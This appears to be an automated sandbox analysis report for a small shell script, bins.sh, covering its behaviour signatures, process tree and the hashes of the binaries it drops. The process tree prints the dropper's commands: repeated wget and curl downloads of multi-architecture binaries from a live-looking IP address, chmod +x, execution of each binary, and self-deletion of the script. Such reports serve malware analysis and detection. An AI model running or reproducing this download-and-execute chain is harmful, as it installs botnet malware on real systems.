Analysis

  • max time kernel
    147s
  • max time network
    149s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20260513-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    20/07/2026, 00:16

General

  • Target
    bins.sh
  • Size 402B
  • Sample260720-aky2dsct71
  • SHA256 5ed172ed40eab43eef5f3006d1f0028396584ae649c998d88aaff463db6a941a
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 14 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 14 IoCs
  • Unexpected DNS network traffic destination 64 IoCs

    Network traffic to other servers than the configured DNS servers was detected on the DNS port.

  • Enumerates active TCP sockets 1 TTPs 2 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads system network configuration 1 TTPs 2 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 2 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 15 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:1476
    • /usr/bin/wget
      wget http://156.226.174.98/release/arm -O /tmp/arm
      2⤵
      • Writes file to tmp directory
      PID:1477
    • /bin/chmod
      chmod +x /tmp/arm
      2⤵
      • File and Directory Permissions Modification
      PID:1482
    • /usr/bin/wget
      wget http://156.226.174.98/release/arm5 -O /tmp/arm5
      2⤵
      • Writes file to tmp directory
      PID:1484
    • /tmp/arm
      /tmp/arm aterna
      2⤵
        PID:1483
      • /bin/chmod
        chmod +x /tmp/arm5
        2⤵
        • File and Directory Permissions Modification
        PID:1491
      • /usr/bin/wget
        wget http://156.226.174.98/release/arm6 -O /tmp/arm6
        2⤵
        • Writes file to tmp directory
        PID:1493
      • /tmp/arm5
        /tmp/arm5 aterna
        2⤵
          PID:1492
        • /bin/chmod
          chmod +x /tmp/arm6
          2⤵
          • File and Directory Permissions Modification
          PID:1495
        • /usr/bin/wget
          wget http://156.226.174.98/release/arm7 -O /tmp/arm7
          2⤵
          • Writes file to tmp directory
          PID:1497
        • /tmp/arm6
          /tmp/arm6 aterna
          2⤵
            PID:1496
          • /bin/chmod
            chmod +x /tmp/arm7
            2⤵
            • File and Directory Permissions Modification
            PID:1499
          • /usr/bin/wget
            wget http://156.226.174.98/release/x86 -O /tmp/x86
            2⤵
            • Writes file to tmp directory
            PID:1501
          • /tmp/arm7
            /tmp/arm7 aterna
            2⤵
              PID:1500
            • /bin/chmod
              chmod +x /tmp/x86
              2⤵
              • File and Directory Permissions Modification
              PID:1503
            • /usr/bin/wget
              wget http://156.226.174.98/release/x86_32 -O /tmp/x86_32
              2⤵
              • Writes file to tmp directory
              PID:1505
            • /tmp/x86
              /tmp/x86 aterna
              2⤵
                PID:1504
              • /bin/chmod
                chmod +x /tmp/x86_32
                2⤵
                • File and Directory Permissions Modification
                PID:1506
              • /usr/bin/wget
                wget http://156.226.174.98/release/m68k -O /tmp/m68k
                2⤵
                • Writes file to tmp directory
                PID:1508
              • /tmp/x86_32
                /tmp/x86_32 aterna
                2⤵
                • Enumerates active TCP sockets
                • Reads system network configuration
                • Reads runtime system information
                PID:1507
              • /bin/chmod
                chmod +x /tmp/m68k
                2⤵
                • File and Directory Permissions Modification
                PID:1509
              • /usr/bin/wget
                wget http://156.226.174.98/release/mips -O /tmp/mips
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:1511
              • /tmp/m68k
                /tmp/m68k aterna
                2⤵
                  PID:1510
                • /bin/chmod
                  chmod +x /tmp/mips
                  2⤵
                  • File and Directory Permissions Modification
                  PID:1513
                • /usr/bin/wget
                  wget http://156.226.174.98/release/mpsl -O /tmp/mpsl
                  2⤵
                  • Writes file to tmp directory
                  PID:1515
                • /tmp/mips
                  /tmp/mips aterna
                  2⤵
                  • System Network Configuration Discovery
                  PID:1514
                • /bin/chmod
                  chmod +x /tmp/mpsl
                  2⤵
                  • File and Directory Permissions Modification
                  PID:1517
                • /usr/bin/wget
                  wget http://156.226.174.98/release/ppc -O /tmp/ppc
                  2⤵
                  • Writes file to tmp directory
                  PID:1519
                • /tmp/mpsl
                  /tmp/mpsl aterna
                  2⤵
                    PID:1518
                  • /bin/chmod
                    chmod +x /tmp/ppc
                    2⤵
                    • File and Directory Permissions Modification
                    PID:1521
                  • /usr/bin/wget
                    wget http://156.226.174.98/release/ppc440 -O /tmp/ppc440
                    2⤵
                    • Writes file to tmp directory
                    PID:1523
                  • /tmp/ppc
                    /tmp/ppc aterna
                    2⤵
                      PID:1522
                    • /bin/chmod
                      chmod +x /tmp/ppc440
                      2⤵
                      • File and Directory Permissions Modification
                      PID:1525
                    • /usr/bin/wget
                      wget http://156.226.174.98/release/sh4 -O /tmp/sh4
                      2⤵
                      • Writes file to tmp directory
                      PID:1527
                    • /tmp/ppc440
                      /tmp/ppc440 aterna
                      2⤵
                        PID:1526
                      • /bin/chmod
                        chmod +x /tmp/sh4
                        2⤵
                        • File and Directory Permissions Modification
                        PID:1529
                      • /usr/bin/wget
                        wget http://156.226.174.98/release/sparc -O /tmp/sparc
                        2⤵
                        • Writes file to tmp directory
                        PID:1531
                      • /tmp/sh4
                        /tmp/sh4 aterna
                        2⤵
                          PID:1530
                        • /usr/bin/curl
                          curl -s -o /tmp/sparc http://156.226.174.98/release/sparc
                          2⤵
                          • Writes file to tmp directory
                          PID:1533
                        • /bin/chmod
                          chmod +x /tmp/sparc
                          2⤵
                          • File and Directory Permissions Modification
                          PID:1534
                        • /usr/bin/wget
                          wget http://156.226.174.98/release/x86_64 -O /tmp/x86_64
                          2⤵
                          • Writes file to tmp directory
                          PID:1536
                        • /tmp/sparc
                          /tmp/sparc aterna
                          2⤵
                            PID:1535
                          • /bin/sh
                            /bin/sh /tmp/sparc aterna
                            2⤵
                              PID:1535
                            • /bin/chmod
                              chmod +x /tmp/x86_64
                              2⤵
                              • File and Directory Permissions Modification
                              PID:1537
                            • /tmp/x86_64
                              /tmp/x86_64 aterna
                              2⤵
                              • Enumerates active TCP sockets
                              • Reads system network configuration
                              • Reads runtime system information
                              PID:1538
                            • /bin/rm
                              rm -f /tmp/bins.sh
                              2⤵
                                PID:1539

                            Network

                                  MITRE ATT&CK Enterprise v16

                                  Replay Monitor

                                  Loading Replay Monitor...

                                  Downloads

                                  arm

                                  • Path /tmp/arm
                                  • Size 221KB
                                  • SHA256 c3cd074bbfecf4a56c59eec4a096fe6fcbe926430da315e35237254c4c630904
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  arm5

                                  • Path /tmp/arm5
                                  • Size 213KB
                                  • SHA256 d296143aaf778fca82be5082e64f3fc891b8b2b4d43fb7137bccd217b5412c21
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  arm6

                                  • Path /tmp/arm6
                                  • Size 229KB
                                  • SHA256 9778402987f2f9aabcf79e09c51fba3a7aacaf288018dc0b3921d3dcf2455b00
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  arm7

                                  • Path /tmp/arm7
                                  • Size 209KB
                                  • SHA256 bd8e42c47822fa2624ad08ef4adfd8b82147ebb4afa09a1ae87acf6b238b2008
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  m68k

                                  • Path /tmp/m68k
                                  • Size 222KB
                                  • SHA256 8ecbb0120ef8567cb12258e6d1d340fddf7c43eb63c35c8d3c9be67371212e52
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  mips

                                  • Path /tmp/mips
                                  • Size 251KB
                                  • SHA256 1d29407efa89957662720ffb0b2dbd018854613183a8b5e0c43744e97df5859f
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  mpsl

                                  • Path /tmp/mpsl
                                  • Size 255KB
                                  • SHA256 28f52364f494f1dacdbb3fae556cf620e6cca434d54087e0ad5c3f9aeaffece7
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  ppc

                                  • Path /tmp/ppc
                                  • Size 203KB
                                  • SHA256 d36e42fce1d514c0e3212b666d98db86dca5658ac283a0df52bcf37f0048dca9
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  ppc440

                                  • Path /tmp/ppc440
                                  • Size 203KB
                                  • SHA256 3c609ac04ab71f627213ee692d027cc43f6c16891b6b573d016b3f6347fa02e1
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  sh4

                                  • Path /tmp/sh4
                                  • Size 187KB
                                  • SHA256 f01622503c2e66fa6a133e4073138b857a75fdf0a98dd900bfc56dd57c9b511e
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  sparc

                                  • Path /tmp/sparc
                                  • Size 19B
                                  • SHA256 b16e15764b8bc06c5c3f9f19bc8b99fa48e7894aa5a6ccdad65da49bbf564793
                                  • MD5 SHA1 SHA512

                                  x86

                                  • Path /tmp/x86
                                  • Size 116KB
                                  • SHA256 b417602c46d2b9d360ab12eff8d231a912bc4d1a0f69358b8d1b25a6bb15b2c8
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  x86_32

                                  • Path /tmp/x86_32
                                  • Size 152KB
                                  • SHA256 cf52a17eca6e450d2912c76c672c985c3f5d1a7d681df83234d32a8f3b8b4b30
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  x86_64

                                  • Path /tmp/x86_64
                                  • Size 216KB
                                  • SHA256 a49f31d44a01675d80d11f20a15be38f3bdf26d7119a16ec5a2ec72c674ceeb5
                                  • MD5 SHA1 SHA512 SSDEEP TLSH